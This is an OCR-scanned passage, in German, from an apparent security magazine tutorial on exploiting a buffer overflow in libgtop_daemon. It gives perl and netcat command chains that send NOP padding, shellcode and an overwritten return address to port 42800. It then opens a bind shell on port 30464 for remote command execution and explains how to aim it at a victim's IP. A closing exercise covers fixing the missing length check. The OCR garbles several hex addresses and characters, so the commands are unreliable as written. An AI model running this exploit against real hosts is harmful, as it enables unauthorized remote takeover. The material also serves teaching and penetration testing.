| nc 127.0.0.1 42800

Der Angriff
Jetzt bereiten wir eine Kette vor,
die die Riuckkehradresse aus

der Funktion mit dem Wert Uber-
schreibt, den wir mit dem Debug-
ger ermittelt haben — oxbeeresoo.
Das letzte Adressbyte ist aber
0x00, und wenn wir ein Argument
mit einem Nullbyte an das Pro-
gramm Uberreichen, betrachtet
es dieses Byte als das Ende der
Testkette. Wir benutzen also die
Adresse oxprrerso1. Ohne zu ver-
gessen, dass Bytes im Speicher
im little endian Modell umgekehrt
angeordnet sein missen (zuerst
das niederwertige, dann das hé6-
herwertige Byte), erstellen wir eine
neue Hilfsdatei mit Adressen:

$ perl -e \
'print "\x01\xfS5\xff\xbf"x500" \

> address.dat

Jetzt kbnnen wir libgtop_daemon in
der ersten Konsole starten:

$ libgtop_daemon -f

und unsere Kette aus der zweiten
Konsole an den Port 42800 senden:

$ echo -e "MAGIC-1\nl1201\n"\
‘head -c 579 nop.dat’\
‘cat shellcode.dat’\
‘head -c 576 address.dat’ \
| nc 127.0.0.1 42800

Wenn wir alles richtig gemacht ha-

ben, wird in der ersten Konsole (wo
libgtop arbeitet) eine Shell gedffnet.
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Wie das Wissen
praktisch umgesetzt
werden kann

Jetzt, wo wir schon wissen, wie
das l6chrige Programm libgtop ge-
zwungen werden kann, den von uns
vorgeschobenen Code auszufiihren,
Uberlegen wir uns, wie wir das Wis-
sen in der Praxis bei Penetrations-
tests einsetzen kénnen.

Stellen wir uns vor, dass wir
erfahren haben, dass unser Opfer
die fehlerhafte Version von libgtop
verwendet. Wir kdnnen dann an den
Port 42800 an ihrem Rechner die pra-
parierte Kette senden. Allerdings hat
das, was wir gerade getan haben (ein
Fernsystem gezwungen, eine lokale
Shell zu 6ffnen), wenig Sinn — aulBer
dem Erflllungsgefihl, weil sich der
angegriffene Rechner seltsam zu
verhalten beginnt, erreichen wir nichts.
Wir brauchen eher eine Shell, die an
einen bestimmten Port angeschlossen
ist; dann kénnen wir (mit netcat) eine
Verbindung hierzu aufbauen und Be-
fehle auf dem Fernsystem ausfiihren
lassen. Dazu brauchen wir einen
anderen Shellcode, der dies (auf dem
angegriffenen Rechner gestartet) ge-
wahrt. Auch solch ein Shellcode (sie-
he Listing 14) ist im Internet zu finden.
Laut Beschreibung stellt dieser Code
die Shell am Port 30464 bereit.

Ahnlich wie vorher (Listing 11)
platzieren wir den Shellcode in der
Datei shellcode.dat. Dann missen
wir, da sich die Lange des Shellcodes
geandert hat, die GréRen der nops
und Adressenbereiche modifizieren,
so dass die Kette stets eine Gesamt-
lange von 1200 aufweist. Der Befehl
wce informiert uns, dass der neue
Shellcode 177 Zeichen lang ist. Fur
die nops und die Adressen bleiben
also jeweils 523 und 500 Bytes.

Flhren wir noch ein Experiment
durch. In einer Konsole starten wir
libgtop_daemon:

$ libgtop_ daemon -f
Aus der zweiten senden wir die Kette

(mit dem neuen Shellcode) an den
Port 42800 des Rechners, wo der

libgtop-Server arbeitet (in unserem
Fall — des Localhosts):

$ echo -e "MAGIC-1\n1201\n"\
‘head -c 523 nop.dat’\
‘cat shellcode.dat’'\
‘head -c 500 address.dat’ \
| nc 127.0.0.1 42800

Anschlielend bauen wir eine Ver-
bindung zum Port 30464 am Opfer-
rechner aus einer dritten Konsole
heraus auf:

$ nc 127.0.0.1 30464

Nachdem die Verbindung hergestellt
worden ist, kbnnen wir im angegriffe-
nen System fernarbeiten.

Natlrlich kann dasselbe Ex-
periment in einer realistischeren
Umgebung erfolgen, indem wir
libgtop_daemon auf einem Rech-
ner starten, und den Angriff von
einem anderen durchfiihren. Dann
ist 127.0.0.1 beim Abschicken der
praparierten Uberlaufkette und beim
Aufbau der Verbindung zum vom
Shellcode gedffneten Port natirlich
durch die IP-Adresse des angegrif-
fenen Hosts zu ersetzen.

Hausaufgabe

Wohlgemerkt lasst ein nachlassig
geschriebenes Programm den Ein-
dringling den bésartigen Code von
einem anderen System ausfuhren.
Es entsteht die Frage: Wie ist der
Code umzuarbeiten, damit er sicher
wird? Die Ursache fir das Leck ist
die Tatsache, dass so viel Daten
im Buffer gespeichert werden, wie
viel der Benutzer eingibt, ohne dass
ihre Lange uberprift wird. Es sollte
also helfen, ein Bedingungskonst-
rukt in den Code zu integrieren, das
Uberpriift, ob die Lange des Inhalts
vOoNn auth data len die Bufferka-
pazitat nicht Uberschreitet und ihn
gegebenenfalls beschneidet. Diese
Modifizierung und die Tests, ob der
korrigierte Code gegen den Buffe-
roverflow abgesichert ist, Uberlasse
ich als Ubung den Interessierten
unter lhnen. B
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